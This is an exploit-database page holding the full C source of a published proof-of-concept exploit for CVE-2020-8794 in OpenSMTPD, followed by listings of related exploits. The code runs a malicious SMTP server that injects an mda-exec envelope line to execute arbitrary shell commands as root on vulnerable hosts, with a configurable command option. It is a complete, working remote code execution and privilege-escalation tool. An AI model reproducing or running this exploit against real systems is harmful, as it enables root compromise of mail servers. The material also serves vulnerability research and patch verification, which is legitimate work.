Search for hundreds of thousands of exploits

"OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution"

Author

Exploit author

"Qualys Corporation"

Platform

Exploit platform

openbsd

Release date

Exploit published date

2020-02-26

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
/*
 * LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)
 * Copyright (C) 2020 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

static enum {
    CLIENT_SIDE_EXPLOIT,
    SERVER_SIDE_EXPLOIT,
} exploit = CLIENT_SIDE_EXPLOIT;

static enum {
    NEW_SMTPD_GRAMMAR,
    OLD_SMTPD_GRAMMAR,
} grammar = NEW_SMTPD_GRAMMAR;

static struct {
    const char * command;
    const char * user;
    const char * dispatcher;
    const char * maildir;
    char lines[512];
} inject = {
    .command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0",
    .user = "root",
    .dispatcher = "local_mail",
    .maildir = NULL,
};

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static struct addrinfo *
common_getaddrinfo(const char * const host, const char * const port)
{
    const struct addrinfo hints = {
        .ai_family = AF_INET,
        .ai_socktype = SOCK_STREAM,
        .ai_protocol = IPPROTO_TCP,
        .ai_flags = AI_NUMERICHOST | AI_NUMERICSERV,
    };
    struct addrinfo * addr = NULL;
    if (getaddrinfo(host, port, &hints, &addr) != 0) die();
    if (addr == NULL || addr->ai_next != NULL) die();
    return addr;
}

static const char *
common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len)
{
    static char host[NI_MAXHOST];
    static char port[NI_MAXSERV];
    if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port),
        NI_NUMERICHOST | NI_NUMERICSERV) != 0) die();

    static char host_port[NI_MAXHOST + NI_MAXSERV];
    if (snprintf(host_port, sizeof(host_port), "%s:%s", host, port) <= 0) die();
    return host_port;
}

static void
common_send(const int fd, const char * const format, va_list ap)
{
    if (fd <= -1) die();
    static char buf[1024];
    const int len = vsnprintf(buf, sizeof(buf), format, ap);
    if (len <= 0 || (unsigned)len >= sizeof(buf)) die();
    printf("--> %s%s", buf, buf[len-1] != '\n' ? "\n" : "");

    const char * data = buf;
    size_t size = len;

    for (;;) {
        const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL);
        if (sent <= 0) die();
        if ((size_t)sent > size) die();
        data += sent;
        size -= sent;
        if (size <= 0) return;
    }
    die();
}

static int listen_fd = -1;

static void
server_listen(void)
{
    if (listen_fd != -1) die();
    const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25");
    listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
    if (listen_fd <= -1) die();

    const int on = 1;
    if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die();
    if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die();
    if (listen(listen_fd, 10) != 0) die();

    printf("\nListening on %s\n",
        common_getnameinfo(addr->ai_addr, addr->ai_addrlen));
}

static int server_fd = -1;

static void
server_accept(void)
{
    struct sockaddr addr;
    socklen_t addr_len = sizeof(addr);

    if (listen_fd <= -1) die();
    if (server_fd != -1) die();
    server_fd = accept(listen_fd, &addr, &addr_len);
    if (server_fd <= -1) die();
    if (addr_len > sizeof(addr)) die();

    const time_t now = time(NULL);
    printf("\nConnection from %s\n%s",
        common_getnameinfo(&addr, addr_len), ctime(&now));

    const int on = 1;
    if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die();
}

static void
server_send(const char * const format, ...)
{
    if (server_fd <= -1) die();

    va_list ap;
    va_start(ap, format);
    common_send(server_fd, format, ap);
    va_end(ap);
}

static char server_command[1024];

static void
server_recv(const char * const prefix)
{
    if (server_fd <= -1) die();
    const size_t prefix_len = strlen(prefix);
    if (prefix_len < 4) die();

    char * data = server_command;
    size_t size = sizeof(server_command);

    for (;;) {
        const ssize_t rcvd = recv(server_fd, data, size, 0);
        if (rcvd <= 0) die();
        if ((size_t)rcvd >= size) die();
        data += rcvd;
        size -= rcvd;
        data[0] = '\0';
        if (data[-1] != '\n') continue;
        if (strchr(server_command, '\n') != data - 1) die();

        printf("<-- %s", server_command);
        if (strncmp(server_command, prefix, prefix_len) != 0) die();
        return;
    }
    die();
}

static void
server_close(void)
{
    if (server_fd <= -1) die();
    if (close(server_fd) != 0) die();
    server_fd = -1;
}

static void
server_session(const char * const inject_lines)
{
    const char * const error_code =
        (exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553";

    server_accept();
    server_send("220 ent.of.line ESMTP\n");

    server_recv("EHLO ");
    server_send("250 ent.of.line Hello\n");

    server_recv("MAIL FROM:<");
    if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) !=
        (exploit == SERVER_SIDE_EXPLOIT)) die();

    if (inject_lines != NULL) {
        if (inject_lines[0] == '\0') die();
        if (inject_lines[0] == '\n') die();
        if (inject_lines[strlen(inject_lines)-1] == '\n') die();

        server_send("%s-Error\n", error_code);
        server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0');

    } else {
        server_send("%s Error\n", error_code);

        server_recv("RSET");
        server_send("250 Reset\n");

        server_recv("QUIT");
        server_send("221 Bye\n");
    }
    server_close();
}

static const struct addrinfo * client_target = NULL;
static const char * client_mail = NULL;
static const char * client_rcpt = NULL;

static int client_fd = -1;

static void
client_connect(void)
{
    if (client_fd != -1) die();
    client_fd = socket(client_target->ai_family, client_target->ai_socktype,
        client_target->ai_protocol);
    if (client_fd <= -1) die();

    if (connect(client_fd, client_target->ai_addr,
        client_target->ai_addrlen) != 0) die();

    printf("\nConnected to %s\n",
        common_getnameinfo(client_target->ai_addr, client_target->ai_addrlen));
}

static void
client_send(const char * const format, ...)
{
    if (client_fd <= -1) die();

    va_list ap;
    va_start(ap, format);
    common_send(client_fd, format, ap);
    va_end(ap);
}

static char client_reply[1024];

static void
client_recv(const char * const prefix)
{
    if (client_fd <= -1) die();
    const size_t prefix_len = strlen(prefix);
    if (prefix_len < 3) die();

    char * data = client_reply;
    size_t size = sizeof(client_reply);
    const char * line = data;

    for (;;) {
        const ssize_t rcvd = recv(client_fd, data, size, 0);
        if (rcvd <= 0) die();
        if ((size_t)rcvd >= size) die();
        data += rcvd;
        size -= rcvd;
        data[0] = '\0';
        if (data[-1] != '\n') continue;

        for (;;) {
            const char * const new_line = strchr(line, '\n');
            if (new_line == NULL) break;
            if (new_line - line < 4) die();
            printf("<-- %.*s", (int)(new_line - line + 1), line);
            if (strncmp(line, prefix, prefix_len) != 0) die();

            if (line[3] == ' ') {
                if (new_line + 1 != data) die();
                return;
            }
            if (line[3] != '-') die();
            line = new_line + 1;
        }
        if (line != data) die();
    }
    die();
}

static void
client_close(void)
{
    if (client_fd <= -1) die();
    if (close(client_fd) != 0) die();
    client_fd = -1;
}

static void
client_session(void)
{
    client_connect();
    client_recv("220 ");

    client_send("HELP\n");
    client_recv("214");
    if (strstr(client_reply, "please contact bugs@openbsd.org") == NULL) die();

    client_send("EHLO ent.of.line\n");
    client_recv("250");
    const int dsn = (strstr(client_reply, "250-DSN") != NULL);

    client_send("MAIL FROM:<%s>\n", client_mail);
    client_recv("250 ");

    client_send("RCPT TO:<%s>%s\n", client_rcpt, dsn ? " NOTIFY=SUCCESS" : "");
    client_recv("250 ");

    client_send("DATA\n");
    client_recv("354 Enter mail, end with ");

    if (!dsn) {
        client_send("Delivered-To: %s\n", client_rcpt);
    }
    client_send("\n");
    client_send(".\n");
    client_recv("250 ");

    client_send("QUIT\n");
    client_recv("221 ");
    client_close();
}

int
main(int argc, char * const * argv)
{
    setlinebuf(stdout);
    puts("LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)");
    puts("Copyright (C) 2020 Qualys, Inc.");

    int opt;
    while ((opt = getopt(argc, argv, "c:u:d:m:n")) != -1) {
        switch (opt) {
        case 'c':
            inject.command = optarg;
            break;
        case 'u':
            grammar = OLD_SMTPD_GRAMMAR;
            inject.user = optarg;
            break;
        case 'd':
            inject.dispatcher = optarg;
            break;
        case 'm':
            grammar = OLD_SMTPD_GRAMMAR;
            inject.maildir = optarg;
            break;
        case 'n':
            grammar = NEW_SMTPD_GRAMMAR;
            break;
        default:
            die();
        }
    }

    if (grammar == NEW_SMTPD_GRAMMAR) {
        const int len = snprintf(inject.lines, sizeof(inject.lines),
            "type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s",
            inject.command, inject.dispatcher, inject.user);
        if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();

    } else if (grammar == OLD_SMTPD_GRAMMAR) {
        const int len = snprintf(inject.lines, sizeof(inject.lines),
            "type:mda\nmda-buffer:%s\nmda-method:%s\nmda-user:%s\nmda-usertable:<getpwnam>",
            inject.maildir ? inject.maildir : inject.command,
            inject.maildir ? "maildir" : "mda", inject.user);
        if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();

    } else die();

    argc -= optind;
    argv += optind;

    if (argc == 3) {
        exploit = SERVER_SIDE_EXPLOIT;
        client_target = common_getaddrinfo(argv[0], "25");
        client_mail = argv[1];
        client_rcpt = argv[2];

    } else if (argc != 0) die();

    server_listen();
    if (exploit == CLIENT_SIDE_EXPLOIT) {
        server_session(inject.lines);

    } else if (exploit == SERVER_SIDE_EXPLOIT) {
        client_session();
        unsigned try;
        for (try = 0; try < 1; try++) {
            server_session(NULL);
            puts("\nPlease wait for OpenSMTPD to connect back...");
        }
        server_session(inject.lines);
        client_session();
        server_session("type:invalid");

    } else die();
    exit(EXIT_SUCCESS);
}
Release DateTitleTypePlatformAuthor
2020-05-29"Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass"webappsmultiple"Halis Duraki"
2020-05-29"WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)"webappsphpUnD3sc0n0c1d0
2020-05-28"EyouCMS 1.4.6 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-28"NOKIA VitalSuite SPM 2020 - 'UserName' SQL Injection"webappsmultiple"Berk Dusunur"
2020-05-28"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution"webappsphpTh3GundY
2020-05-28"Online-Exam-System 2015 - 'fid' SQL Injection"webappsphp"Berk Dusunur"
2020-05-27"LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
2020-05-27"osTicket 1.14.1 - 'Saved Search' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
2020-05-27"Kuicms PHP EE 2.0 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-27"Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting"webappsphp"that faceless coder"
Release DateTitleTypePlatformAuthor
2020-02-26"OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution"remoteopenbsd"Qualys Corporation"
2019-12-30"OpenBSD - Dynamic Loader chpass Privilege Escalation (Metasploit)"localopenbsdMetasploit
2019-12-16"OpenBSD 6.x - Dynamic Loader Privilege Escalation"localopenbsd"Qualys Corporation"
2018-11-30"xorg-x11-server < 1.20.3 - 'modulepath' Local Privilege Escalation"localopenbsd"Marco Ivaldi"
2018-10-30"xorg-x11-server 1.20.3 - Privilege Escalation"localopenbsd"Marco Ivaldi"
2017-06-28"OpenBSD - 'at Stack Clash' Local Privilege Escalation"localopenbsd"Qualys Corporation"
2017-02-07"OpenBSD HTTPd < 6.0 - Memory Exhaustion Denial of Service"dosopenbsdPierreKimSec
2009-04-14"OpenBSD 4.5 - IP datagram Null Pointer Deref Denial of Service"dosopenbsdnonroot
2009-04-13"OpenBSD 4.5 - IP datagrams Remote Denial of Service"dosopenbsdRembrandt
2008-07-01"OpenBSD 4.0 - 'vga' Local Privilege Escalation"localopenbsd"lul-disclosure inc."
Release DateTitleTypePlatformAuthor
2020-02-26"OpenSMTPD 6.6.3 - Arbitrary File Read"remotelinux"Qualys Corporation"
2020-02-26"OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution"remoteopenbsd"Qualys Corporation"
2019-12-16"OpenBSD 6.x - Dynamic Loader Privilege Escalation"localopenbsd"Qualys Corporation"
2019-06-05"Exim 4.87 < 4.91 - (Local / Remote) Command Execution"remotelinux"Qualys Corporation"
2018-09-26"Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation"locallinux"Qualys Corporation"
2018-05-30"Procps-ng - Multiple Vulnerabilities"locallinux"Qualys Corporation"
2017-12-13"GNU C Library Dynamic Loader glibc ld.so - Memory Leak / Buffer Overflow"locallinux"Qualys Corporation"
2017-09-26"Linux Kernel 3.10.0-514.21.2.el7.x86_64 / 3.10.0-514.26.1.el7.x86_64 (CentOS 7) - SUID Position Independent Executable 'PIE' Local Privilege Escalation"locallinux"Qualys Corporation"
2017-06-28"Linux Kernel - 'offset2lib' Stack Clash"locallinux_x86"Qualys Corporation"
2017-06-28"OpenBSD - 'at Stack Clash' Local Privilege Escalation"localopenbsd"Qualys Corporation"
2017-06-28"Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.0/6.8/7.2.1511) - 'ldso_hwcap Stack Clash' Local Privilege Escalation"locallinux_x86"Qualys Corporation"
2017-06-28"Oracle Solaris 11.1/11.3 (RSH) - 'Stack Clash' Local Privilege Escalation"localsolaris_x86"Qualys Corporation"
2017-06-28"FreeBSD - 'setrlimit' Stack Clash (PoC)"dosfreebsd_x86"Qualys Corporation"
2017-06-28"FreeBSD - 'FGPE' Stack Clash (PoC)"dosfreebsd_x86"Qualys Corporation"
2017-06-28"FreeBSD - 'FGPU' Stack Clash (PoC)"dosfreebsd_x86"Qualys Corporation"
2017-06-28"NetBSD - 'Stack Clash' (PoC)"dosnetbsd_x86"Qualys Corporation"
2017-06-28"Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation"locallinux_x86"Qualys Corporation"
2017-06-28"Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64 Stack Clash' Local Privilege Escalation"locallinux_x86-64"Qualys Corporation"
2017-06-14"Sudo 1.8.20 - 'get_process_ttyname()' Local Privilege Escalation"locallinux"Qualys Corporation"
2015-07-27"Libuser Library - Multiple Vulnerabilities"doslinux"Qualys Corporation"
2015-03-18"Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)"remotelinux"Qualys Corporation"
2002-07-09"iPlanet Web Server 4.1 - Search Component File Disclosure"remotemultiple"Qualys Corporation"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48140/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.